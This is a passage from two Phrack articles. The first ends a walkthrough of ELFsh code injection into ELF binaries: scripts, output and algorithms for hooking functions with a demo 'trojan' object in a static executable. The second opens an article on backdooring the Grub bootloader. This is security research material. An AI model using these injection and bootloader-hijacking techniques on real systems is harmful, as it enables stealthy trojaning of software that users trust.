[*] Function __libc_start_main redirected to addr
0x00005281 <fake_libc_start_main>
~redir strcpy fake_strcpy
[*] Function strcpy redirected to addr 0x000051BD <fake_strcpy>
~save fake_main
[*] Object fake_main saved successfully
~quit
[*] Unloading object 1 (simple.o)
[*] Unloading object 2 (main) *
.:: Bye -:: The ELF shell 0.65
========= END DUMP 34 =========
What about the result ?
========= BEGIN DUMP 35 =========
elfsh@WTH $ ./fake_main
fake_libc_start_main
start_main has been run 0
I am the main function, I have 1 argc and my argv is BF9A6F54 yupeelala
fake_main is calling write !
0x800068c8 main(argc=0xbf9a6e80, argv=0xbf9a6e2c, envp=0xbf9a6e28,
auxv=0xbf9a6e24) __guard=0xb7f78148
ssp-all (Stack) Triggering an overflow by copying [20] of data into [10]
of space
The fucker wants to copy 01234567890123456789 at address BF9A6E50
calling printf from stack smashing handler 0
Same player play again [damaged = 39383736]
A second (2) printf from the handler
elfsh@WTH $ ./fake_main AAAA
fake_libc_start_main
start_main has been run 0
I am the main function, I have 2 argc and my argv is BF83A164 yupeelala
fake_main is calling write !
0x800068c8 main(argc=0xbf83a090, argv=0xbf83a03c, envp=0xbf83a038,
auxv=0xbf83a034) __guard=0xb7f09148
ssp-all (Stack) Copying [4] of data into [10] of space
The fucker wants to copy AAAA at address BF83A060
elfsh@WTH $ ./fake_main AAAAAAAAAAAAAAA
fake_libc_start_main
start_main has been run 0
I am the main function, I have 2 argc and my argv is BF8C7F24 yupeelala
fake_main is calling write !
0x800068c8 main(argc=0xbf8c7e50, argv=0xbf8c7dfc, envp=0xbf8c7df8,
auxv=0xbf8c7df4) __guard=0xb7f97148
ssp-all (Stack) Copying [15] of data into [10] of space
The fucker wants to copy AAAAAAAAAAAAAAA at address BF8C7E20
========= END DUMP 35 =========
No problem there : strcpy, main, libc_start_main and
__stack_smash_handler are redirected on our own routines
as the output shows. We also call write that was not available
in the original binary, which show that EXTPLT also works on
ET_DYN objects, the cool stuff beeing that it worked without
any modification.
In the current release (0.65rc1) there is a limitation on ET_DYN
however. We have to avoid non-initialized variables because
that would add some entries in relocation tables. This is not
a problem to add some since we also copy .rel.got (rel.dyn) in
EXTPLT on ET_DYN, but it is not implemented for now.
---[ C. Extending static executables
Now we would like to be able to debug static binary the same way
we do for dynamic ones. Since we cannot inject e2dbg using
DT_NEEDED dependances on static binaries, the idea is to inject
e2dbg as ET_REL into ET_EXEC since it is possible on static
binaries. E2dbg as many more dependancies than a simple host.c
program. The extended idea is to inject the missing part of
static libraries when it is necessary.
We have to resolve dependancies on-the-fly while ET_REL injection
is performed. For that we will use a simple recursive algorithm
on the existing relocation code : when a symbol is not found
at relocation time, either it is a old_* symbol so it is delayed
in a second stage relocation time (Indeed, old symbols appears
at redirection time, which is done after the injection of the
ET_REL file so we miss that symbol at first stage), or the
function symbol is definitely unknown and we need to add
information so that the rtld can resolve it as well.
To be able to find the suitable ET_REL to inject, ELFsh load all
the ET_REL from static library (.a) then the resolution is done
using this pool of binaries. The workspace feature of elfsh is
quite useful for this, when sessions are performed on more than
a thousand of ET_EXEC ELF files at a time (after extracting
modules from libc.a and others static librairies, for instance).
Circular dependancies are solved by using second stage relocation
when the required symbol is in a file that is being injected after
the current file. The same second stage relocation mechanism
is used when we need to relocate ET_REL objects that use OLD
symbols. Since OLD symbols are injected at redirection time and
ET_REL files should be injected before (so that we can use
functions from the ET_REL object as hook functions), we do not
have OLD symbols at relocation time. The second stage relocation
is then triggered at save time (for on disk modifications) or
recursively solved when injecting multiple ET_REL with circular
relocation dependances.
A problem is remaining, as for now we had one PT_LOAD by injected
section, we quickly reach more than 500 PT_LOAD. This seems to be
a bit too much for a regular ELF static file. We need to improve
the PT_LOAD allocation mechanism so that we can inject bigger
extension to such host binaries.
This technique provide the same features as EXTPLT but for static
binaries : we can inject what we want (regardless of what the host
binary contains).
So here is a smaller working example:
========= BEGIN DUMP 36 =========
elfsh@WTH $ cat host.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int legit_func(char *str)
{
puts("legit func !");
return (0);
}
int main()
{
char *str;
char buff[BUFSIZ];
read(0, buff, BUFSIZ-1);
puts("First_puts");
puts("Second_puts");
fflush(stdout);
legit_func("test");
return (0);
}
elfsh@WTH $ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, statically linked,
not stripped
elfsh@WTH $ ./a.out
First_puts
Second_puts
legit func !
========= END DUMP 36 =========
The injected file source code is as follow :
========= BEGIN DUMP 37 =========
elfsh@WTH $ cat rel2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
int glvar_testreloc = 42;
int glvar_testreloc_bss;
char glvar_testreloc_bss2;
short glvar_testreloc_bss3;
int hook_func(char *str)
{
int sd;
printf("hook func %s !\n", str);
return (old_legit_func(str));
}
int puts_troj(char *str)
{
int local = 1;
char *str2;
int fd;
char name[16];
void *a;
str2 = malloc(10);
*str2 = 'Z';
*(str2 + 1) = 0x00;
glvar_testreloc_bss = 43;
glvar_testreloc_bss2 = 44;
glvar_testreloc_bss3 = 45;
memset(name, 0, 16);
printf("Trojan injected ET_REL takes control now "
"[%s:%s:%u:%u:%hhu:%hu:%u] \n",
str2, str,
glvar_testreloc,
glvar_testreloc_bss,
glvar_testreloc_bss2,
glvar_testreloc_bss3,
local);
free(str2);
gethostname(name, 15);
printf("hostname : %s\n", name);
printf("printf called from puts_troj [%s] \n", str);
fd = open("/etc/services", 0, O_RDONLY);
if (fd)
{
if ((a = mmap(0, 100, PROT_READ, MAP_PRIVATE, fd, 0)) == (void *) -1)
{
perror("mmap");
close(fd);
printf("mmap failed : fd: %d\n", fd);
return (-1);
}
printf("-=-=-=-=-=- BEGIN /etc/services %d -=-=-=-=-=\n", fd);
printf("host : %.60s\n", (char *) a);
printf("-=-=-=-=-=- END /etc/services %d -=-=-=-=-=\n", fd);
printf("mmap succeed fd : %d\n", fd);
close(fd);
}
old_puts(str);
fflush(stdout);
return (0);
}
========= END DUMP 37 =========
The load_lib.esh script, generated using a small bash
script, looks like this :
========= BEGIN DUMP 38 =========
elfsh@WTH $ head -n 10 load_lib.esh
#!../../../vm/elfsh
load libc/init-first.o
load libc/libc-start.o
load libc/sysdep.o
load libc/version.o
load libc/check_fds.o
load libc/libc-tls.o
load libc/elf-init.o
load libc/dso_handle.o
load libc/errno.o
========= END DUMP 38 =========
Here is the injection ELFsh script:
========= BEGIN DUMP 39 =========
elfsh@WTH $ cat relinject.esh
#!../../../vm/elfsh
exec gcc -g3 -static host.c
exec gcc -g3 -static rel2.c -c
load a.out
load rel2.o
source ./load_lib.esh
reladd 1 2
redir puts puts_troj
redir legit_func hook_func
save fake_aout
quit
========= END DUMP 39 =========
Stripped output of the injection :
========= BEGIN DUMP 40 =========
elfsh@WTH $ ./relinject.esh
The ELF shell 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
~exec gcc -g3 -static host.c
[*] Command executed successfully
~exec gcc -g3 -static rel2.c -c
[*] Command executed successfully
~load a.out
[*] Sun Jul 31 16:37:32 2005 - New object a.out loaded
~load rel2.o
[*] Sun Jul 31 16:37:32 2005 - New object rel2.o loaded
~source ./load_lib.esh
~load libc/init-first.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/init-first.o loaded
~load libc/libc-start.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/libc-start.o loaded
~load libc/sysdep.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/sysdep.o loaded
~load libc/version.o
[*] Sun Jul 31 16:37:33 2005 - New object libc/version.o loaded
[[... 1414 files later ...]]
[*] ./load_lib.esh sourcing -OK-
~reladd 1 2
[*] ET_REL rel2.o injected succesfully in ET_EXEC a.out
~redir puts puts_troj
[*] Function puts redirected to addr 0x080B7026 <puts_troj>
~redir legit_func hook_func
[*] Function legit_func redirected to addr 0x080B7000 <hook_func>
~save fake_aout
[*] Object fake_aout saved successfully
~quit
[*] Unloading object 1 (libpthreadnonshared/pthread_atfork.oS)
[*] Unloading object 2 (libpthread/ptcleanup.o)
[*] Unloading object 3 (libpthread/pthread_atfork.o)
[*] Unloading object 4 (libpthread/old_pthread_atfork.o)
[[... 1416 files later ...]]
.:: Bye -:: The ELF shell 0.65
========= END DUMP 40 =========
Does it works ?
========= BEGIN DUMP 41 =========
elfsh@WTH $ ./fake_aout
Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1]
hostname : WTH
printf called from puts_troj [First_puts]
-=-=-=-=-=- BEGIN /etc/services 3 -=-=-=-=-=
host : # /etc/services
#
# Network services, Internet style
#
# Not
-=-=-=-=-=- END /etc/services 3 -=-=-=-=-=
mmap succeed fd : 3
First_puts
Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1]
hostname : WTH
printf called from puts_troj [Second_puts]
-=-=-=-=-=- BEGIN /etc/services 3 -=-=-=-=-=
host : # /etc/services
#
# Network services, Internet style
#
# Not
-=-=-=-=-=- END /etc/services 3 -=-=-=-=-=
mmap succeed fd : 3
Second_puts
hook func test !
Trojan injected ET_REL takes control now [Z:legit func !:42:43:44:45:1]
hostname : WTH
printf called from puts_troj [legit func !]
-=-=-=-=-=- BEGIN /etc/services 3 -=-=-=-=-=
host : # /etc/services
#
# Network services, Internet style
#
# Not
-=-=-=-=-=- END /etc/services 3 -=-=-=-=-=
mmap succeed fd : 3
legit func !
========= END DUMP 41 =========
Yes, It's working. Now have a look at the fake_aout static
file :
========= BEGIN DUMP 42 =========
elfsh@WTH $ ../../../vm/elfsh -f ./fake_aout -s
[*] Object ./fake_aout has been loaded (O_RDONLY)
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object ./fake_aout]
[000] 0x00000000 ------- foff:000000 sz:00000
[001] 0x080480D4 a------ .note.ABI-tag foff:069844 sz:00032
[002] 0x08048100 a-x---- .init foff:069888 sz:00023
[003] 0x08048120 a-x---- .text foff:69920 sz:347364
[004] 0x0809CE10 a-x---- __libc_freeres_fn foff:417296 sz:02222
[005] 0x0809D6C0 a-x---- .fini foff:419520 sz:00029
[006] 0x0809D6E0 a------ .rodata foff:419552 sz:88238
[007] 0x080B2F90 a------ __libc_atexit foff:507792 sz:00004
[008] 0x080B2F94 a------ __libc_subfreeres foff:507796 sz:00036
[009] 0x080B2FB8 a------ .eh_frame foff:507832 sz:03556
[010] 0x080B4000 aw----- .ctors foff:512000 sz:00012
[011] 0x080B400C aw----- .dtors foff:512012 sz:00012
[012] 0x080B4018 aw----- .jcr foff:512024 sz:00004
[013] 0x080B401C aw----- .data.rel.ro foff:512028 sz:00044
[014] 0x080B4048 aw----- .got foff:512072 sz:00004
[015] 0x080B404C aw----- .got.plt foff:512076 sz:00012
[016] 0x080B4060 aw----- .data foff:512096 sz:03284
[017] 0x080B4D40 aw----- .bss foff:515380 sz:04736
[018] 0x080B5FC0 aw----- __libc_freeres_ptrs foff:520116 sz:00024
[019] 0x080B6000 aw----- rel2.o.bss foff:520192 sz:04096
[020] 0x080B7000 a-x---- rel2.o.text foff:524288 sz:04096
[021] 0x080B8000 aw----- rel2.o.data foff:528384 sz:00004
[022] 0x080B9000 a------ rel2.o.rodata foff:532480 sz:04096
[023] 0x080BA000 a-x---- .elfsh.hooks foff:536576 sz:00032
[024] 0x080BB000 aw----- libc/printf.o.bss foff:540672 sz:04096
[025] 0x080BC000 a-x---- libc/printf.o.text foff:544768 sz:04096
[026] 0x080BD000 aw----- libc/gethostname.o.bss foff:548864 sz:04096
[027] 0x080BE000 a-x---- libc/gethostname.o.text foff:552960 sz:04096
[028] 0x080BF000 aw----- libc/perror.o.bss foff:557056 sz:04096
[029] 0x080C0000 a-x---- libc/perror.o.text foff:561152 sz:04096
[030] 0x080C1000 a--ms-- libc/perror.o.rodata.str1.1 foff:565248 sz:04096
[031] 0x080C2000 a--ms-- libc/perror.o.rodata.str4.4 foff:569344 sz:04096
[032] 0x080C3000 aw----- libc/dup.o.bss foff:573440 sz:04096
[033] 0x080C4000 a-x---- libc/dup.o.text foff:577536 sz:04096
[034] 0x080C5000 aw----- libc/iofdopen.o.bss foff:581632 sz:04096
[035] 0x00000000 ------- .comment foff:585680 sz:20400
[036] 0x080C6000 a-x---- libc/iofdopen.o.text foff:585728 sz:04096
[037] 0x00000000 ------- .debug_aranges foff:606084 sz:00136
[038] 0x00000000 ------- .debug_pubnames foff:606220 sz:00042
[039] 0x00000000 ------- .debug_info foff:606262 sz:01600
[040] 0x00000000 ------- .debug_abbrev foff:607862 sz:00298
[041] 0x00000000 ------- .debug_line foff:608160 sz:00965
[042] 0x00000000 ------- .debug_frame foff:609128 sz:00068
[043] 0x00000000 ------- .debug_str foff:609196 sz:00022
[044] 0x00000000 ------- .debug_macinfo foff:609218 sz:28414
[045] 0x00000000 ------- .shstrtab foff:637632 sz:00632
[046] 0x00000000 ------- .symtab foff:640187 sz:30192
[047] 0x00000000 ------- .strtab foff:670379 sz:25442
[*] Object ./fake_aout unloaded
elfsh@WTH $ ../../../vm/elfsh -f ./fake_aout -p
[*] Object ./fake_aout has been loaded (O_RDONLY)
[Program Header Table .::. PHT]
[Object ./fake_aout]
[00] 0x8037000 -> 0x80B3D9C r-x memsz(511388) foff(000000) =>Loadable seg
[01] 0x80B4000 -> 0x80B7258 rw- memsz(012888) foff(512000) =>Loadable seg
[02] 0x80480D4 -> 0x80480F4 r-- memsz(000032) foff(069844) =>Aux. info.
[03] 0x0000000 -> 0x0000000 rw- memsz(000000) foff(000000) =>Stackflags
[04] 0x0000000 -> 0x0000000 --- memsz(000000) foff(000000) =>New PaXflags
[05] 0x80B6000 -> 0x80B7000 rwx memsz(004096) foff(520192) =>Loadable seg
[06] 0x80B7000 -> 0x80B8000 rwx memsz(004096) foff(524288) =>Loadable seg
[07] 0x80B8000 -> 0x80B8004 rwx memsz(000004) foff(528384) =>Loadable seg
[08] 0x80B9000 -> 0x80BA000 rwx memsz(004096) foff(532480) =>Loadable seg
[09] 0x80BA000 -> 0x80BB000 rwx memsz(004096) foff(536576) =>Loadable seg
[10] 0x80BB000 -> 0x80BC000 rwx memsz(004096) foff(540672) =>Loadable seg
[11] 0x80BC000 -> 0x80BD000 rwx memsz(004096) foff(544768) =>Loadable seg
[12] 0x80BD000 -> 0x80BE000 rwx memsz(004096) foff(548864) =>Loadable seg
[13] 0x80BE000 -> 0x80BF000 rwx memsz(004096) foff(552960) =>Loadable seg
[14] 0x80BF000 -> 0x80C0000 rwx memsz(004096) foff(557056) =>Loadable seg
[15] 0x80C0000 -> 0x80C1000 rwx memsz(004096) foff(561152) =>Loadable seg
[16] 0x80C1000 -> 0x80C2000 rwx memsz(004096) foff(565248) =>Loadable seg
[17] 0x80C2000 -> 0x80C3000 rwx memsz(004096) foff(569344) =>Loadable seg
[18] 0x80C3000 -> 0x80C4000 rwx memsz(004096) foff(573440) =>Loadable seg
[19] 0x80C4000 -> 0x80C5000 rwx memsz(004096) foff(577536) =>Loadable seg
[20] 0x80C5000 -> 0x80C6000 rwx memsz(004096) foff(581632) =>Loadable seg
[21] 0x80C6000 -> 0x80C7000 rwx memsz(004096) foff(585728) =>Loadable seg
[SHT correlation]
[Object ./fake_aout]
[*] SHT is not stripped
[00] PT_LOAD .note.ABI-tag .init .text __libc_freeres_fn .fini
.rodata __libc_atexit __libc_subfreeres .eh_frame
[01] PT_LOAD .ctors .dtors .jcr .data.rel.ro .got .got.plt
.data
.bss __libc_freeres_ptrs
[02] PT_NOTE .note.ABI-tag
[03] PT_GNU_STACK
[04] PT_PAX_FLAGS
[05] PT_LOAD rel2.o.bss
[06] PT_LOAD rel2.o.text
[07] PT_LOAD rel2.o.data
[08] PT_LOAD rel2.o.rodata
[09] PT_LOAD .elfsh.hooks
[10] PT_LOAD libc/printf.o.bss
[11] PT_LOAD libc/printf.o.text
[12] PT_LOAD libc/gethostname.o.bss
[13] PT_LOAD libc/gethostname.o.text
[14] PT_LOAD libc/perror.o.bss
[15] PT_LOAD libc/perror.o.text
[16] PT_LOAD libc/perror.o.rodata.str1.1
[17] PT_LOAD libc/perror.o.rodata.str4.4
[18] PT_LOAD libc/dup.o.bss
[19] PT_LOAD libc/dup.o.text
[20] PT_LOAD libc/iofdopen.o.bss |.comment
[21] PT_LOAD libc/iofdopen.o.text
[*] Object ./fake_aout unloaded
========= END DUMP 42 =========
We can notice the ET_REL really injected : printf.o@libc,
dup.o@libc, gethostname.o@libc, perror.o@libc and
iofdopen.o@libc.
Each injected file create several PT_LOAD segments. For this
example it is okay, but for injecting E2dbg that is really too
much.
This technique will be improved as soon as possible by reusing
PT_LOAD entry when this is possible.
----[ D. Architecture independant algorithms
In this part, we give all the architecture independent algorithms
that were developed for the new residency techniques in memory,
ET_DYN libraries, or static executables.
The new generic ET_REL injection algorithm is not that different
from the one presented in the first Cerberus Interface article [0],
that is why we only give it again in its short form. However, the
new algorithm has improved in modularity and portability. We will
detail some parts of the algorithm that were not explained in
previous articles. The implementation mainly takes place in
elfsh_inject_etrel() in the relinject.c file :
New generic relocation algorithm
+--------------------------------+
1/ Inject ET_REL BSS after the HOST BSS in a dedicated section (new)
2/ FOREACH section in ET_REL object
[
IF [ Section is allocatable and Section is not BSS ]
[
- Inject section in Host file or memory
]
]
3/ Fuze ET_REL and host file symbol tables
4/ Relocate the ET_REL object (STAGE 1)
5/ At save time, relocate the ET_REL object
(STAGE 2 for old symbols relocations)
We only had one relocation stage in the past. We had to use another
one since not all requested symbols are available (like old symbols
gained from CFLOW redirections that may happen after the ET_REL
injection). For ondisk modifications, the second stage relocation
is done at save time.
Some steps in this algorithm are quite straightforward, such as
step 1 and step 3. They have been explained in the first Cerberus
article [0], however the BSS algorithm has changed for compatibility
with ET_DYN files and multiple ET_REL injections. Now the BSS is
injected just as other sections, instead of adding a complex BSS
zones algorithm for always keeping one bss in the program.
ET_DYN / ET_EXEC section injection algorithm
+--------------------------------------------+
Injection algorithm for DATA sections does not change between ET_EXEC
and ET_DYN files. However, code sections injection slighly changed
for supporting both binaries and libraries host files. Here is the
new algorithm for this operation :
* Find executable PT_LOAD
* Fix injected section size for page size congruence
IF [ Hostfile is ET_EXEC ]
[
* Set injected section vaddr to lowest mapped section vaddr
* Substract new section size to new section virtual address
]
ELSE IF [ Hostfile is ET_DYN ]
[
* Set injected section vaddr to lowest mapped section vaddr
]
* Extend code segment size by newly injected section size
IF [ Hostfile is ET_EXEC ]
[
* Substract injected section vaddr to executable PT_LOAD vaddr
]
FOREACH [ Entry in PHT ]
[
IF [ Segment is PT_PHDR and Hostfile is ET_EXEC ]
[
* Substract injected section size to segment p_vaddr / p_paddr
]
ELSE IF [ Segment stands after extended PT_LOAD ]
[
* Add injected section size to segment p_offset
IF [ Hostfile is ET_DYN ]
[
* Add injected section size to segment p_vaddr and p_paddr
]
]
]
IF [ Hostfile is ET_DYN ]
[
FOREACH [ Relocation entry in every relocation table ]
[
IF [ Relocation offset points after injected section ]
[
* Shift relocation offset from injected section size
]
]
* Shift symbols from injected section size when pointing after it
* Shift dynamic syms from injected section size (same condition)
* Shift dynamic entries D_PTR's from injected section size
* Shift GOT entries from injected section size
* If existing, Shift ALTGOT entries from injected section size
* Shift DTORS and CTORS the same way
* Shift the entry point in ELF header the same way
]
* Inject new SECTION symbol on injected code
Static ET_EXEC section injection algorithm
+------------------------------------------+
This algorithm is used to insert sections inside static binaries. It
can be found in libelfsh/inject.c in elfsh_insert_static_section() :
* Pad the injected section size to stay congruent to page size
* Create a new PT_LOAD program header whoose bounds match the
new section bounds.
* Insert new section using classical algorithm
* Insert new program header in PHT
Runtime section injection algorithm in memory
+---------------------------------------------+
This algorithm can be found in libelfsh/inject.c in the function
elfsh_insert_runtime_section() :
* Create a new PT_LOAD program header
* Insert SHT entry for new runtime section
(so we keep a static map up-to-date)
* Insert new section using the classical algorithm
* Insert new PT_LOAD in Runtime PHT table (RPHT) with same bounds
Runtime PHT is a new table that we introduced so that we can
separate segments regulary mapped by the dynamic linker (original
PHT segments) from runtime injected segments. This may lead to an
easier algorithm for binary reconstruction from its memory image
in the future.
We will detail now the core (high level) relocation algorithm as
implemented in elfsh_relocate_object() and
elfsh_relocate_etrel_section() functions in libelfsh/relinject.c .
This code is common for all types of host files and for all
relocation stages. It is used at STEP 4 of the general algorithm:
Core portable relocation algorithm
+----------------------------------+
This algorithm has never been explained in any paper. Here it is :
FOREACH Injected ET_REL sections inside the host file
[
FOREACH relocation entry in ET_REL file
[
* Find needed symbol in ET_REL for this relocation
IF [ Symbol is COMMON or NOTYPE ]
[
* Find the corresponding symbol in Host file.
IF [ Symbol is NOT FOUND ]
[
IF [ symbol is OLD and RELOCSTAGE == 1 ]
[
* Delay relocation for it
]
ELSE
[
IF [ ET_REL symbol type is NOTYPE ]
[
* Request a new PLT entry and use its address
for performing relocation (EXTPLT algorithm)
]
ELSE IF [ Host file is STATIC ]
[
* Perform EXTSTATIC technique (next algorithm)
]
ELSE
[
* Algorithm failed, return ERROR
]
]
]
ELSE
[
* Use host file's symbol value
]
]
ELSE
[
* Use injected section base address as symbol value
]
- Relocate entry (switch/case architecture dependant handler)
]
]
EXTSTATIC relocation extension algorithm
+----------------------------------------+
In case the host file is a static file, we can try to get the
unknown symbol from relocatables files from static libraries that
are available on disk. An example of use of this EXTSTATIC technique
is located in the testsuite/etrel_inject/ directory.
Here is the EXTSTATIC algorithm that comes at the specified place
in the previous algorithm for providing the same functionality as
EXTPLT but for static binaries :
FOREACH loaded ET_REL objects in ELFSH
[
IF [ Symbol is found anywhere in current analyzed ET_REL ]
[
IF [ Found symbol is strongest than current result ]
[
* Update best symbol result and associated ET_REL file
]
ELSE
[
* Discard current iteration result
]
]
]
* Inject the ET_REL dependency inside Host file
* Use newly injected symbol in hostfile as relocation symbol in core
relocation algorithm.
Strongest symbol algorithm
+--------------------------+
When we have to choose between multiple symbols that have the same
name in different objects (either during static or runtime
injection), we use this simple algorithm to determine which one
to use :
IF [ Current chosen symbol has STT_NOTYPE ]
[
* Symbol becomes temporary choice
]
ELSE IF [ Candidate symbol has STT_NOTYPE ]
[
* Symbol becomes temporary choice
]
ELSE IF [ Candidate symbol binding > Chosen symbol binding ]
[
* Candidate symbol becomes Chosen symbol
]
-------[ VI. Past and present
In the past we have shown that ET_REL injection into
non-relocatable ET_EXEC object is possible. This paper presented
multiple extensions and ports to this residency technique
(ET_DYN and static executables target). Coupled to the EXTPLT
technique that allow for a complete post-linking of the host
file, we can add function definitions and use unknown functions
in the software extension. All those static injection
techniques worse when all PaX options are enabled on the
modified binary. Of course, the position independant and stack
smashing protection features of hardened Gentoo does not protect
anything when it comes to binary manipulation, either performed
on disk or at runtime.
We have also shown that it is possible to debug without using
the ptrace system call, which open the door for new reverse
engineering and embedded debugging methodology that bypass known
anti-debugging techniques. The embedded debugger is not
completely PaX proof and it is still necessary to disable the
mprotect flag. Even if it does not sound like a real problem,
we are still investigating on how to put breakpoints (e.g.
redirections) without disabling it.
Our core techniques are portable to many architectures (x86,
alpha, mips, sparc) on both 32bits and 64bits files. However
our proof of concept debugger was done for x86 only. We believe
that our techniques are portable enough to be able to provide
the debugger for other architectures without much troubles.
Share and enjoy the framework, contributions are welcome.
-------[ VII. Greetings
We thank all the peoples at the WhatTheHack party 2005 in
Netherlands. We add much fun with you guys and again we will
come in the future.
Special thanks go to andrewg for teaching us the sigaction
technique, dvorak for his interest in the optimization on the
the ALTPLT technique version 2 for the SPARC architecture,
sk for libasm, and solar for providing us the ET_DYN pie/ssp
testsuite.
Respects go to Devhell Labs, the PaX team, Phrackstaff, GOBBLES,
MMHS, ADM, and Synnergy Networks. Final shoutouts to s/ash from
RTC for driving us to WTH and the Coconut Crew for everything
and the rest, you know who you are.
-------[ VIII. References
[0] The Cerberus ELF Interface mayhem
http://www.phrack.org/show.php?p=61&a=8
[1] The GNU debugger GNU project
http://www.gnu.org/software/gdb/
[2] PaX / grsecurity The PaX team
http://pax.grsecurity.net/
[3] binary reconstruction from a core image Silvio Cesare
http://vx.netlux.org/lib/vsc03.html
[4] Antiforensic evolution: Self Ripe & Pluf
http://www.phrack.org/show.php?p=63&a=11
[5] Next-Gen. Runtime binary encryption Zeljko Vbra
http://www.phrack.org/show.php?p=63&a=13
[6] Fenris Michal Zalewski
http://lcamtuf.coredump.cx/fenris/
[7] Ltrace Ltrace team
http://freshmeat.net/projects/ltrace/
[8] The dude (replacement to ptrace) Mammon
http://www.eccentrix.com/members/mammon/Text/d\
ude_paper.txt
[9] Binary protection schemes Andrewg
http://www.codebreakers-journal.com/viewar\
ticle.php?id=51&layout=abstract
[10] ET_REL injection in memory JP
http://www.whatever.org.ar/~cuco/MERCANO.TXT
[11] Hardened Gentoo project Hardened team
http://www.gentoo.org/proj/en/hardened/
[12] Unpacking by Code Injection Eduardo Labir
http://www.codebreakers-journal.com/viewart\
icle.php?id=36&layout=abstract
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0a of 0x14
|=-----------------=[ Hacking Grub for fun and profit ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ CoolQ <qufuping@ercist.iscas.ac.cn> ]=---------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
0.0 - Trojan/backdoor/rootkit review
1.0 - Boot process with Grub
1.1 How does Grub work ?
1.2 stage1
1.3 stage1.5 & stage2
1.4 Grub util
2.0 - Possibility to load specified file
3.0 - Hacking techniques
3.1 How to load file_fake
3.2 How to locate ext2fs_dir
3.3 How to hack grub
3.4 How to make things sneaky
4.0 - Usage
5.0 - Detection
6.0 - At the end
7.0 - Ref
8.0 - hack_grub.tar.gz
--[ 0.0 - Trojan/backdoor/rootkits review
Since 1989 when the first log-editing tool appeared(Phrack 0x19 #6 -
Hiding out under Unix), the trojan/backdoor/rootkit have evolved greatly.
From the early user-mode tools such as LRK4/5, to kernel-mode ones such as
knark/adore/adore-ng, then appears SuckIT, module-injection, nowadays even
static kernel-patching.
Think carefully, what remains untouched? Yes, that's bootloader.
So, in this paper, I present a way to make Grub follow your order, that
is, it can load another kernel/initrd image/grub.conf despite the file you
specify in grub.conf.
P.S.: This paper is based on Linux and EXT2/3 under x86 system.
--[ 1.0 - Boot process with Grub
----[ 1.1 - How does Grub work ?
+-----------+
| boot,load |
| MBR |
+-----+-----+
|
+----------------+ NO
| Grub is in MBR +------->-------+
+-------+--------+ |
Yes | stage1 +-------+--------+
Yes +--------+---------+ | jump to active |
+--<---+ stage1.5 config? | | partition |
| +--------+---------+ +-------+--------+
| No | |
+-------+-------+ | | +-----+-----+
| load embedded | | stage1-> | load boot |
| sectors | | | | sector |
+-------+-------+ V +-----+-----+
^ | | + - - - < - - - + Cf 1.3
| | | +------+------+
stage1.5 +-------->------+--------->-------+ load stage2 +
+------+------+
|
+---------------<--------+
V
+-----------+-----------+
| load the grub.conf |
| display the boot menu |
+-----------+-----------+
| User interaction
+---------+---------+
| load kernel image |
| and boot |
+-------------------+
----[ 1.2 - stage1
stage1 is 512 Bytes, you can see its source code in stage1/stage1.S .
It's installed in MBR or in boot sector of primary partition. The task is
simple - load a specified sector (defined in stage2_sector) to a specified
address(defined in stage2_address/stage2_segment). If stage1.5 is
configured, the first sector of stage1.5 is loaded at address 0200:000; if
not, the first sector of stage2 is loaded at address 0800:0000.
----[ 1.3 - stage1.5 & stage2
We know Grub is file-system-sensitive loader, i.e. Grub can understand
and read files from different file-systems, without the help of OS. Then
how? The secret is stage1.5 & stage2. Take a glance at /boot/grub, you'll
find the following files:
stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5,
reiserfs_stage1_5, ...
We've mentioned stage1 in 1.2, the file stage1 will be installed in MBR
or in boot sector. So even if you delete file stage1, system boot are not
affected.
What about zeroing file stage2 and *_stage1_5? Can system still boot?
The answer is 'no' for the former and 'yes' for the latter. You're
wondering about the reason? Then continue your reading...
Let's see how *_stage1_5 and stage2 are generated:
-------------------------------- BEGIN -----------------------------------
e2fs_stage1_5:
gcc -o e2fs_stage1_5.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
e2fs_stage1_5_exec-start.o e2fs_stage1_5_exec-asm.o
e2fs_stage1_5_exec-common.o e2fs_stage1_5_exec-char_io.o
e2fs_stage1_5_exec-disk_io.o e2fs_stage1_5_exec-stage1_5.o
e2fs_stage1_5_exec-fsys_ext2fs.o e2fs_stage1_5_exec-bios.o
objcopy -O binary e2fs_stage1_5.exec e2fs_stage1_5
stage2:
gcc -o pre_stage2.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,8200
pre_stage2_exec-asm.o pre_stage2_exec-bios.o pre_stage2_exec-boot.o
pre_stage2_exec-builtins.o pre_stage2_exec-common.o
pre_stage2_exec-char_io.o pre_stage2_exec-cmdline.o
pre_stage2_exec-disk_io.o pre_stage2_exec-gunzip.o
pre_stage2_exec-fsys_ext2fs.o pre_stage2_exec-fsys_fat.o
pre_stage2_exec-fsys_ffs.o pre_stage2_exec-fsys_minix.o
pre_stage2_exec-fsys_reiserfs.o pre_stage2_exec-fsys_vstafs.o
pre_stage2_exec-hercules.o pre_stage2_exec-serial.o
pre_stage2_exec-smp-imps.o pre_stage2_exec-stage2.o
pre_stage2_exec-md5.o
objcopy -O binary pre_stage2.exec pre_stage2
cat start pre_stage2 > stage2
--------------------------------- END ------------------------------------
According to the output above, the layout should be:
e2fs_stage1_5:
[start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c]
[fsys_ext2fs.c] [bios.c]
stage2:
[start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c]
[cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c]
